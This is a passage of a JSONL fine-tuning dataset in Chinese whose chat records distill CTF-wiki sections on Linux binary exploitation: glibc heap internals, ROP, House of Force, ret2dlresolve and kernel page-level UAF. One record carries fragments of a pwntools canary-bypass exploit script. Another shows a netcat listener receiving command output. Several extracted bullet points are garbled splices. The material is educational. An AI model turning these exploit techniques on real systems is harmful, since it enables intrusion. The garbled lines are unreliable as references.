(INTERNAL_SIZE_T)(-2 * MINSIZE)) | __set_errno(ENOMEM) |\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 231, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "初始检查", "heading_path": ["堆中的检查", "初始检查"], "original_id": "docs-2689d4fb7443713c35d1", "original_line": 1031, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "source_root": "docs", "source_sha256": "4375f656de4fa14c2380f946b7c43a901ed3a64708e6a1af69983cd2bbed2373", "split": "train", "split_group_key": "b9fd3f10ddfcfe80532935d3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的检查"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c15e3b64689999bda59b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「基本 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：基本 ROP\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本 ROP”展开。\n- 随着 NX (Non-eXecutable) 保护的开启，传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果，由此攻击者们也提出来相应的方法来绕过保护。\n- 目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming)，其主要思想是在 栈缓冲区溢出的基础上，利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值，从而控制程序的执行流程。\n- gadgets 通常是以 ret 结尾的指令序列，通过这样的指令序列，我们可以多次劫持程序控制流，从而运行特定的指令序列，以完成攻击的目的。\n- 返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令，从而改变了指令流的执行顺序，并通过数条 gadget “执行” 了一个新的程序。\n- 使用 ROP 攻击一般得满足如下条件： - 程序漏洞允许我们劫持控制流，并控制后续的返回地址。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 654, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本 ROP", "heading_path": ["基本 ROP"], "original_id": "docs-7ed4725d9b149ff19262", "original_line": 1246, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "587b2f6782470fc61e4f53e3", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c1a114454be507d6219d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「Top Chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > Top Chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Top Chunk”展开。\n- glibc 中对于 top chunk 的描述如下 ``c++ / Top The top-most available chunk (i.e., the one bordering the end of available memory) is treated specially.\n- It is never included in any bin, is used only if no other chunk is available, and is released back to the system if it is very large (see M_TRIM_THRESHOLD).\n- 在main arena中通过sbrk扩展heap，而在thread arena中通过mmap分配新的heap。\n- 其实，所谓的top chunk 就是处于当前堆的物理地址最高的 chunk。\n- 初始情况下，我们可以将 unsorted chunk` 作为 top chunk。\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 18 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1345, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Top Chunk", "heading_path": ["define INTERNAL_SIZE_T size_t", "Top Chunk"], "original_id": "docs-bb9fdee7b20507951e2c", "original_line": 960, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "c89587bb40e3e7211bc59562", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c1b56b8ea3d210ff3028", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Second try - no leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：rop.raw('\\x00'*(256-len(rop.chain()))) > Second try - no leak\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“Second try - no leak”展开。\n- 可以看出，在上面的测试中，我们仍然利用 write 函数泄露了 link_map 的地址，那么，如果程序中没有输出函数，我们是否还能够发起利用呢？\n- #endif / Currently result contains the base load address (or link map) of the object that defines sym.\n- / Chain of loaded objects. / / All following members are internal to the dynamic linker.\n- `` 一般而言，至少有 __libc_start_main 已经解析过了。\n- 我们再来看一下 _dl_fix_up 的实现 ``c / Look up the target symbol.\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- c: 51 行，首行 `/* Look up the target symbol. If the normal lookup rules are not`\n- c: 9 行，首行 `/* How to extract and insert information held in the st_other field. */`\n- plain: 1 行，首行 `value = l->l_addr + sym->st_value`\n- c: 34 行，首行 `struct link_map`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4573, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Second try - no leak", "heading_path": ["rop.raw('\\x00'*(256-len(rop.chain())))", "Second try - no leak"], "original_id": "docs-d1e06c4215c227454cee", "original_line": 72, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "297683225f0874fe1ef58ba0", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c1e4eb900c028a4bc748", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/basic.md` 中的章节「malloc_printerr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/basic.md`\n标题：基础操作\n章节：基础操作 > malloc_printerr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- ``cpp static void malloc_printerr(const char str) { __libc_message(do_abort, \"%s\\n\", str);\n- } ` 主要会调用 __libc_message 来执行abort 函数，如下 `c if ((action & do_abort)) { if ((action & do_backtrace)) BEFORE_ABORT(do_abort, written, fd);\n- } ` 在abort 函数里，在 glibc 还是2.23 版本时，会 fflush stream。\n- We cannot close them now because the user might have registered a handler for SIGABRT. */ if (stage == 1) { ++stage;\n- 在 glibc malloc 时检测到错误的时候，会调用 malloc_printerr 函数。\n- __builtin_unreachable();\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:cpp\n- code:c\n\n代码/命令片段线索：\n- cpp: 4 行，首行 `static void malloc_printerr(const char *str) {`\n- c: 6 行，首行 `if ((action & do_abort)) {`\n- c: 7 行，首行 `/* Flush all streams. We cannot close them now because the user`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 590, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "malloc_printerr", "heading_path": ["基础操作", "malloc_printerr"], "original_id": "docs-afeefc2cd0c819b72422", "original_line": 1127, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/basic.md", "source_root": "docs", "source_sha256": "91fd3c1fd17dc84f63e31fd7e82727b475320c689b1472d0295331b1e6a70727", "split": "train", "split_group_key": "e711dd5f547812e5cc427494", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:cpp", "code:c"], "title": "基础操作"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c233acb8556b7527fe9f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：House Of Force > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- } ` 然而，如果可以篡改 size 为一个很大值，就可以轻松的通过这个验证，这也就是我们前面说的需要一个能够控制top chunk size 域的漏洞。\n- `` 所以，如果我们想要下次在指定位置分配大小为 x 的 chunk，我们需要确保 remainder_size 不小于 x+ MINSIZE。\n- House Of Force 是一种堆利用方法，但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。\n- 如果一个堆(heap based) 漏洞想要通过 House Of Force 方法进行利用，需要以下条件： 1. 能够以溢出等方式控制到 top chunk 的 size 域 2. 能够自由地控制堆分配尺寸的大小 House Of Force 产生的原因在于 glibc 对 top chunk 的处理，根据前面堆数据结构部分的知识我们得知，进行堆分配时，如果所有空闲的块都无法满足需求，那么就会从 top chunk 中分割出相应的大小作为堆块的空间。\n- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb;\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- plain: 17 行，首行 `// 获取当前的top chunk，并计算其对应的大小`\n- plain: 1 行，首行 `(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)`\n- plain: 4 行，首行 `remainder = chunk_at_offset(victim, nb);`\n- c: 4 行，首行 `victim = av->top;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1703, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["House Of Force", "原理"], "original_id": "docs-d6ae7ce6790cadb8c32e", "original_line": 52, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "06a27fdd97907456612c4844", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c2b295e92fbb13d7ef6d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「Kbuild 构建系统」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`\n标题：编写一个 Loadable Kernel Module\n章节：编写一个 Loadable Kernel Module > 基本的内核模块 > Kbuild 构建系统\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Kbuild 构建系统”展开。\n- 下面是一个最基础的 Kbuild 文件的示例，语法上有点类似于 Makefile： ```makefile\n- Kbuild 是 Linux kernel 构建系统的一部分，简而言之，当我们在源码目录下编写了 Kbuild 文件之后，在编译时 Linux kernel 的编译基础设施便会根据 Kbuild 来自动地编译好我们的内核模块，若没有 Kbuild 则会选择寻找 Makefile 。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Kbuild 构建系统", "heading_path": ["编写一个 Loadable Kernel Module", "基本的内核模块", "Kbuild 构建系统"], "original_id": "docs-f778d2faec10d351927a", "original_line": 693, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "source_root": "docs", "source_sha256": "515975a5586b923eaaba1367517b2ebd6aa21fc9cee0a6411a4f62271a08f552", "split": "train", "split_group_key": "d9ca83b88b618f79608e067d", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment"], "title": "编写一个 Loadable Kernel Module"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c2cd86fbc306b048ffb9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「虚拟内存空间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 虚拟内存空间\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 在现代操作系统中，计算机的虚拟内存地址空间通常被分为两块——供用户进程使用的用户空间（user space）与供操作系统内核使用的内核空间（kernel space），对于 Linux 而言，通常位于较高虚拟地址的虚拟内存空间被分配给内核使用，而位于较低虚拟地址的虚拟内存空间责备分配给用户进程使用。\n- 文件: ./figure/mm_layout_32.png] 64 位下的虚拟内存空间布局如下： [图片: 64 位系统内存布局;\n- 32 位下的虚拟内存空间布局如下： [图片: 32 位系统内存布局;\n- 文件: ./figure/mm_layout_64.png]\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "虚拟内存空间", "heading_path": ["基础知识", "虚拟内存空间"], "original_id": "docs-05537ed9a0581c897b17", "original_line": 643, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "e72bf59c9bbefbfc78548b77", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c2ef965c8851548bed36", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.IV - 提权 > 方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP”展开。\n- 由于 page 结构体数组与物理内存页一一对应的缘故，我们可以很轻易地在物理地址与 page 结构体地址间进行转换，而在页表当中存放的是物理地址，我们不难想到的是我们可以通过解析当前进程的页表来获取到内核栈的物理地址，从而获取到内核栈对应的 page，之后我们可以直接向内核栈上写 ROP chain 来完成任意代码执行。\n- 页表的地址可以通过 mm_struct 获取， mm_struct 地址可以通过 task_struct 获取，内核栈地址同样可以通过 task_struct 获取，那么这一切其实是水到渠成的事情。\n- 需要注意的是内核栈是使用 vmalloc 分配的一个内存段，因此 内核栈对应的四张内存页不一定是物理连续的 ，如果我们以解析第一张内存页对应的物理地址的结果来计算栈底页的物理地址，则有相当大的概率没法直接写到当前进程的内核栈上 （也不知道写哪去了），从而导致 ROP 失败。\n- 因此我们需要解析栈底内存页的虚拟地址对应的物理地址，而非直接解析从 task_struct 中拿到的栈顶虚拟地址对应的物理地址后再计算栈底的物理地址。\n- 开启了 CFI 并不代表我们便不能够在内核空间中进行任意代码执行了。\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 542, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Step.IV - 提权", "方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP"], "original_id": "docs-589bf29803ef81c37af5", "original_line": 748, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "dc0a2384097322fb48f37b6b", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c34444f0d5a876c81dfc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「context.log_level = \"debug\"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：context.log_level = \"debug\"\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“context.log_level = \"debug\"”展开。\n- context.terminal = [\"deepin-terminal\", \"-x\", \"sh\", \"-c\"]\n- while True: try: io = process(\"./babypie\", timeout = 1)\n- gdb.attach(io) io.sendafter(\":\\n\", 'a' (0x30 - 0x8 + 1)) io.recvuntil('a' (0x30 - 0x8 + 1)) canary = '\\0' + io.recvn(7) success(canary.encode('hex'))\n- gdb.attach(io) io.sendafter(\":\\n\", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\\x3E\\x0A')\n- io.interactive() except Exception as e: io.close() print e ``` 需要注意的是, 这种技巧不止在栈上有效, 在堆上也是一种有效的绕过地址随机化的手段\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 482, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "context.log_level = \"debug\"", "heading_path": ["context.log_level = \"debug\""], "original_id": "docs-502bf8309613902ffeda", "original_line": 1274, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "334d2f5e0ab2e27204c5d07d", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c35881b851c155a098ff", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「gdb.attach(io)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：gdb.attach(io)\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“gdb.attach(io)”展开。\n- io.send(payload) io.interactive() `` 需要注意的是，在伪造 linkmap 的时候，我们是从偏移 0x68 开始构造的，所以在最后对齐的时候设置 linkmap.ljust(0xf8-0x68, 'A')。\n- 执行效果 `shell ❯ nc -l 127.0.0.1 8080 uid=1000(iromise) gid=1000(iromise)...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 2 行，首行 `需要注意的是，在伪造 linkmap 的时候，我们是从偏移 0x68 开始构造的，所以在最后对齐的时候设置 `linkmap.ljust(0xf8-0x68, 'A')`。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 207, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "gdb.attach(io)", "heading_path": ["gdb.attach(io)"], "original_id": "docs-5bc0c15f43495ce96297", "original_line": 1374, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "558e8f9ef0f1073f77d406ab", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
